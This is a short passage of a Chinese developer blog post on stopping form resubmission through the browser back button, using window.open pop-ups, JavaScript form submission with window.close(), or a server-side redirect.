以上方法试验过可行，还有其它方法：如用window.open弹出表单页面，点提交后关闭该页；处理提交的ASP页也是用弹出，设定表单的target,点提交时window.open("XXX.asp","_blank"),然后用JS来提交表单，完成后window.close()；
简单的说，就是提交表单的时候弹出新窗口，关闭本窗口。对于window.open()打开的窗口怎么后退？能后退到哪里去？其实最简单的方法就是提交后在服务器端直接转跳，但是这样看不到提示信息了。。。。



--------------------------
新闻：7月编程语言排行榜
网站导航: 博客园首页  新闻  .NET频道  社区  博问  闪存  找找看]]>